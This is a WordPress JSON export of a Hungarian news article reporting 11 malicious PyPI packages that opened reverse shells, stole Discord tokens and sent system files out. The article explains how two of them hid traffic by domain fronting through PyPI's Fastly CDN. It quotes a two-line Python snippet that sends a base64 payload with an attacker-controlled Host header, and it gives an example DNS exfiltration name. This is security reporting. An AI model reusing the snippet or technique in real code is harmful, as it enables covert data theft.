{"id":102339,"date":"2021-11-20T09:36:56","date_gmt":"2021-11-20T07:36:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi"},"modified":"2021-11-20T09:36:56","modified_gmt":"2021-11-20T07:36:57","slug":"v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","title":{"rendered":"A PyPI katal\u00f3gus\u00e1ban rosszindulat\u00fa k\u00f6nyvt\u00e1rakat tal\u00e1ltak, amelyek a PyPI CDN-t haszn\u00e1lj\u00e1k a kommunik\u00e1ci\u00f3s csatorna elrejt\u00e9s\u00e9re.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>A PyPI (Python Package Index) katal\u00f3gus\u00e1ban 11, rosszindulat\u00fa k\u00f3dot tartalmaz\u00f3 csomagot azonos\u00edtottak. A probl\u00e9m\u00e1k felder\u00edt\u00e9se el\u0151tt ezek a csomagok \u00f6sszesen k\u00f6r\u00fclbel\u00fcl 38 ezer alkalommal lettek let\u00f6ltve. Az \u00e9szlelt rosszindulat\u00fa csomagok figyelemre m\u00e9lt\u00f3ak a t\u00e1mad\u00f3k szervereihez val\u00f3 kapcsolattart\u00e1s rejtett m\u00f3djainak alkalmaz\u00e1s\u00e1val.     <\/p>\n<ul>\n<li class=\"l\"> importantpackage (6305 let\u00f6lt\u00e9s), important-package (12897) \u2014 k\u00fcls\u0151 szerver kapcsolatot l\u00e9tes\u00edtettek a pypi.python.org alapj\u00e1n, hogy shell-hozz\u00e1f\u00e9r\u00e9st biztos\u00edtsanak a rendszerhez (reverse shell), \u00e9s a trevorc2 programot haszn\u00e1lt\u00e1k a kommunik\u00e1ci\u00f3s csatorna elrejt\u00e9s\u00e9re.\n<li class=\"l\"> pptest (10001), ipboards (946) \u2014 a DNS-t haszn\u00e1lt\u00e1k kommunik\u00e1ci\u00f3s csatornak\u00e9nt, hogy inform\u00e1ci\u00f3kat tov\u00e1bb\u00edtsanak a rendszer \u00e1llapot\u00e1r\u00f3l (az els\u0151 csomagban a gazdag\u00e9p neve, a munkak\u00f6nyvt\u00e1r, a bels\u0151 \u00e9s k\u00fcls\u0151 IP, a m\u00e1sodikban \u2013 a felhaszn\u00e1l\u00f3n\u00e9v \u00e9s a gazdag\u00e9p neve).\n<li class=\"l\"> owlmoon (3285), DiscordSafety (557), yiffparty (1859) \u2014 a rendszerben az Discord szolg\u00e1ltat\u00e1s tokenj\u00e9t azonos\u00edtott\u00e1k, \u00e9s egy k\u00fcls\u0151 gazdag\u00e9pre k\u00fcldt\u00e9k.\n<li class=\"l\"> trrfab (287) \u2014 egy k\u00fcls\u0151 gazdag\u00e9pre tov\u00e1bb\u00edtotta az azonos\u00edt\u00f3t, a gazdag\u00e9p nev\u00e9t \u00e9s a \/etc\/passwd, \/etc\/hosts, \/home tartalm\u00e1t.\n<li class=\"l\"> 10Cent10 (490) \u2014 visszafel\u00e9 shell-kapcsolatot l\u00e9tes\u00edtett egy k\u00fcls\u0151 gazdag\u00e9ppel.\n<li class=\"l\"> yandex-yt (4183) \u2014 ki\u00edrt egy \u00fczenetet a rendszer kompromitt\u00e1l\u00e1s\u00e1r\u00f3l \u00e9s \u00e1tir\u00e1ny\u00edtotta egy oldalra, ahol tov\u00e1bbi inform\u00e1ci\u00f3kat adtak a k\u00f6vetkez\u0151 l\u00e9p\u00e9sekr\u0151l, amelyeket a nda.ya.ru (api.ya.cc) webc\u00edmr\u0151l szolg\u00e1ltattak.  <\/ul>\n<p>K\u00fcl\u00f6n figyelmet \u00e9rdemel az a m\u00f3dszer, amelyet a k\u00fcls\u0151 gazdag\u00e9pek el\u00e9r\u00e9s\u00e9re haszn\u00e1ltak az importantpackage \u00e9s important-package csomagok, amelyek a Fastly tartalomszolg\u00e1ltat\u00f3 h\u00e1l\u00f3zatot haszn\u00e1lt\u00e1k aktivit\u00e1suk elrejt\u00e9s\u00e9re, amely a PyPI katal\u00f3gus\u00e1ban tal\u00e1lhat\u00f3. Val\u00f3j\u00e1ban a k\u00e9relmek a pypi.python.org szerverre k\u00fcldtek (bele\u00e9rtve a python.org nev\u00e9nek megad\u00e1s\u00e1t az SNI-ben a HTTPS k\u00e9r\u00e9sen bel\u00fcl), de az HTTP fejl\u00e9cre a t\u00e1mad\u00f3k \u00e1ltal ellen\u0151rz\u00f6tt szerver neve (sec.forward.io.global.prod.fastly.net) ker\u00fclt. A tartalomszolg\u00e1ltat\u00f3 h\u00e1l\u00f3zat az ilyen k\u00e9relmeket a t\u00e1mad\u00f3k szerver\u00e9re ir\u00e1ny\u00edtotta, TLS kapcsolaton kereszt\u00fcl a pypi.python.org haszn\u00e1lat\u00e1val.       <\/p>\n<p>A PyPI infrastrukt\u00far\u00e1j\u00e1nak m\u0171k\u00f6d\u00e9s\u00e9t a Fastly tartalomszolg\u00e1ltat\u00f3 h\u00e1l\u00f3zat biztos\u00edtja, amely a tipikus k\u00e9relmek gyors\u00edt\u00f3t\u00e1raz\u00e1s\u00e1hoz \u00e1tl\u00e1that\u00f3 Varnish proxyt haszn\u00e1l, \u00e9s a TLS tan\u00fas\u00edtv\u00e1nyok kezel\u00e9s\u00e9re a CDN szintj\u00e9n van lehet\u0151s\u00e9g, nem pedig a v\u00e9gs\u0151 szervereken, hogy HTTPS k\u00e9r\u00e9seket proxy-n kereszt\u00fcl tov\u00e1bb\u00edthassanak. F\u00fcggetlen\u00fcl a c\u00e9lszervert\u0151l, a k\u00e9r\u00e9sek a proxy fel\u00e9 ir\u00e1nyulnak, amely az HTTP fejl\u00e9c 'Host' alapj\u00e1n hat\u00e1rozza meg a sz\u00fcks\u00e9ges szervert. <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/hu\/domain\/\"   title=\"domainnevek\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"934\">domainnevek<\/a> A host is linked to the standard Fastly IP addresses of CDN load balancers for all clients.      <\/p>\n<p>A t\u00e1mad\u00f3 szerver a Fastly CDN-ben is be van jegyezve, amely mindenki sz\u00e1m\u00e1ra ingyenes tarif\u00e1kat k\u00edn\u00e1l, \u00e9s m\u00e9g az anonim regisztr\u00e1ci\u00f3t is lehet\u0151v\u00e9 teszi. \u00c9rdemes megjegyezni, hogy a t\u00e1madott f\u00e9lnek k\u00fcld\u00f6tt k\u00e9r\u00e9sek l\u00e9trehoz\u00e1sakor a 'reverse shell' l\u00e9trehoz\u00e1s\u00e1n\u00e1l is hasonl\u00f3 s\u00e9ma haszn\u00e1latos, de azt a t\u00e1mad\u00f3 f\u00e9l ind\u00edtja. A t\u00e1mad\u00f3k szerver\u00e9vel val\u00f3 interakci\u00f3 leg\u00e1lisan n\u00e9z ki, mint egy PyPI k\u00f6nyvt\u00e1r, amely titkos\u00edtva van. <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/hu\/ssl-sertifikat\/\"   title=\"TLS tan\u00fas\u00edtv\u00e1ny\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"951\">TLS tan\u00fas\u00edtv\u00e1ny<\/a> PyPI. Ez a technika, amelyet 'domain fronting'-nak h\u00edvnak, kor\u00e1bban akt\u00edvan haszn\u00e1lt\u00e1k a hosztn\u00e9v eltakar\u00e1s\u00e1ra a blokkok megker\u00fcl\u00e9s\u00e9n\u00e9l, kihaszn\u00e1lva egyes CDN-h\u00e1l\u00f3zatok \u00e1ltal biztos\u00edtott lehet\u0151s\u00e9get az HTTPS-en val\u00f3 kapcsolatfelv\u00e9telhez, ahol a SNI-hez \u00e1lc\u00e1zott hosztot adtak meg, \u00e9s a k\u00e9rt hoszt nev\u00e9t az HTTP 'Host' fejl\u00e9c\u00e9ben tov\u00e1bb\u00edtott\u00e1k a TLS-munkamenet sor\u00e1n.     <center><img decoding=\"async\" alt=\"A PyPI katal\u00f3gus\u00e1ban rosszindulat\u00fa k\u00f6nyvt\u00e1rakat tal\u00e1ltak, amelyek a PyPI CDN-t haszn\u00e1lj\u00e1k a kommunik\u00e1ci\u00f3s csatorna elrejt\u00e9s\u00e9re. \" src=\"\/wp-content\/uploads\/2021\/11\/9e9761458829291aded542d2bcae4cf3.jpg\" style=\"display:block;margin: 0 auto;\" \/><\/center>      <\/p>\n<p>A rosszindulat\u00fa tev\u00e9kenys\u00e9g eltakar\u00e1s\u00e1ra kieg\u00e9sz\u00edt\u0151k\u00e9nt TrevorC2 csomagot alkalmaztak, amely lehet\u0151v\u00e9 teszi, hogy a szerverrel val\u00f3 interakci\u00f3 hasonl\u00edtson a norm\u00e1l webes b\u00f6ng\u00e9sz\u00e9sre. P\u00e9ld\u00e1ul a rosszindulat\u00fa k\u00e9r\u00e9sek \u00fagy lettek elk\u00fcldve, hogy az 'https:\/\/pypi.python.org\/images\/guid=' k\u00e9pk\u00e9nt \u00e1lc\u00e1zt\u00e1k az inform\u00e1ci\u00f3t a guid param\u00e9terben.           url = 'https:\/\/pypi.python.org' + '\/images' + '?' + 'guid=' + b64_payload     r = request.Request(url, headers = {'Host': 'psec.forward.io.global.prod.fastly.net'})      <\/p>\n<p>A pptest \u00e9s ipboards csomagokban egy m\u00e1sik megk\u00f6zel\u00edt\u00e9st alkalmaztak a h\u00e1l\u00f3zati aktivit\u00e1s eltakar\u00e1s\u00e1ra, amely a hasznos inform\u00e1ci\u00f3k k\u00f3dol\u00e1s\u00e1n alapult a DNS-szerverekhez int\u00e9zett k\u00e9r\u00e9sekben. A rosszindulat\u00fa szoftver inform\u00e1ci\u00f3t tov\u00e1bb\u00edt, DNS-k\u00e9r\u00e9sek form\u00e1j\u00e1ban, mint p\u00e9ld\u00e1ul 'nu4timjagq4fimbuhe.example.com', ahol a base64 form\u00e1tum seg\u00edts\u00e9g\u00e9vel a podomain nev\u00e9ben k\u00f3dolt\u00e1k a vez\u00e9rl\u0151 szerverre tov\u00e1bb\u00edtott adatokat. A t\u00e1mad\u00f3 a DNS-szervert fel\u00fcgyeli a p\u00e9ldak\u00e9nt haszn\u00e1lt domain eset\u00e9ben.<br \/>\n<br \/>Forr\u00e1s: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=56190\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. importantpackage (6305 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a), important-package (12897) &#8212; \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a pypi.python.org \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102340,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - 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